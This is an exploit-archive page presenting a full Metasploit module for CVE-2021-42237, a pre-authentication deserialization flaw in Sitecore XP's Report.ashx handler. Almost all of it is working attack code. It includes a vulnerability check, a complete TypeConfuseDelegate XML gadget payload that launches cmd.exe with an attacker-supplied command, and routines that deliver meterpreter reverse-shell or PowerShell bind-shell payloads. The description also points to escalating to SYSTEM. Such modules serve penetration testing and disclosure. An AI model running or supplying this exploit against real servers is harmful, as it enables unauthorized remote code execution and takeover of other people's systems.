Sitecore Experience Platform (XP) Remote Code Execution

Credit: gwillcox-r7
Risk: High
Local: No
Remote: Yes

## # This module requires Metasploit: # Current source: ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super( update_info( info, 'Name' => 'Sitecore Experience Platform (XP) PreAuth Deserialization RCE', 'Description' => %q{ This module exploits a deserialization vulnerability in the Report.ashx page of Sitecore XP 7.5 to 7.5.2, 8.0 to 8.0.7, 8.1 to 8.1.3, and 8.2 to 8.2.7. Versions 7.2.6 and earlier and 9.0 and later are not affected. The vulnerability occurs due to Report.ashx's handler, located in Sitecore.Xdb.Client.dll under the defintion, having a ProcessRequest() handler that calls ProcessReport() with the context of the attacker's request without properly checking if the attacker is authenticated or not. This request then causes ReportDataSerializer.DeserializeQuery() to be called, which will end up calling the DeserializeParameters() function of Sitecore.Analytics.Reporting.ReportDataSerializer, if a "parameters" XML tag is found in the attacker's request. Then for each subelement named "parameter", the code will check that it has a name and if it does, it will call NetDataContractSerializer().ReadObject on it. NetDataContractSerializer is vulnerable to deserialization attacks and can be trivially exploited by using the TypeConfuseDelegate gadget chain. By exploiting this vulnerability, an attacker can gain arbitrary code execution as the user that IIS is running as, aka NT AUTHORITY\NETWORK SERVICE. Users can then use technique 4 of the "getsystem" command to use RPCSS impersonation and get SYSTEM level code execution. }, 'Author' => [ 'AssetNote', # Discovery and exploit 'gwillcox-r7' # Module ], 'References' => [ ['CVE', '2021-42237'], ['URL', ''], ['URL', ''], ], 'DisclosureDate' => '2021-11-02', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, # Gains NT AUTHORITY\NETWORK SERVICE privileges. Possible to elevate to SYSTEM but this isn't done automatically. 'Targets' => [ [ 'Windows Command', { 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_bind_tcp' } } ], [ 'Windows Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :win_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'PowerShell Stager', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :psh_stager, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options(['TARGETURI', [true, 'Base path of Sitecore', '/']) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'sitecore', 'shell', 'ClientBin', 'Reporting', 'Report.ashx') ) unless res return CheckCode::Unknown('Target did not respond to check.') end unless res.code == 200 && res.body.include?('Sitecore.Analytics.Reporting.ReportDataSerializer.DeserializeQuery') return CheckCode::Safe('Target is not running Sitecore XP or has patched the vulnerability.') end return CheckCode::Appears('Response.ashx is accessible and appears to be deserializing data!') end def xml_payload(cmd) %|<parameters> <parameter name=""> <ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="" xmlns:i="" xmlns:x="" xmlns:z=""> <Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count> <Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""> <_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="" xmlns:a=""> <Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""> <a:assembly z:Id="6">mscorlib, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly> <a:delegateEntry z:Id="7"> <a:assembly z:Ref="6" i:nil="true"/> <a:delegateEntry i:nil="true"/> <a:methodName z:Id="8">Compare</a:methodName> <a:target i:nil="true"/> <a:targetTypeAssembly z:Ref="6" i:nil="true"/> <a:targetTypeName z:Id="9">System.String</a:targetTypeName> <a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type> </a:delegateEntry> <a:methodName z:Id="11">Start</a:methodName> <a:target i:nil="true"/> <a:targetTypeAssembly z:Id="12">System, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly> <a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName> <a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type> </Delegate> <method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b=""> <Name z:Ref="11" i:nil="true"/> <AssemblyName z:Ref="12" i:nil="true"/> <ClassName z:Ref="13" i:nil="true"/> <Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature> <Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2> <MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType> <GenericArguments i:nil="true"/> </method0> <method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b=""> <Name z:Ref="8" i:nil="true"/> <AssemblyName z:Ref="6" i:nil="true"/> <ClassName z:Ref="9" i:nil="true"/> <Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature> <Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2> <MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType> <GenericArguments i:nil="true"/> </method1> </_comparison> </Comparer> <Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""> <string z:Id="25" xmlns="">/c #{cmd.encode(xml: :text)}</string> <string z:Id="26" xmlns="">cmd.exe</string> </Items> </ArrayOfstring> </parameter> </parameters>| end def exploit case target['Type'] when :win_cmd print_status('Executing command payload') execute_command(payload.encoded) when :win_dropper execute_cmdstager when :psh_stager execute_command(cmd_psh_payload( payload.encoded, payload.arch.first, remove_comspec: true )) end end def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'sitecore', 'shell', 'ClientBin', 'Reporting', 'Report.ashx'), 'ctype' => 'text/xml', 'data' => xml_payload(cmd) ) end end

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021,


Back to Top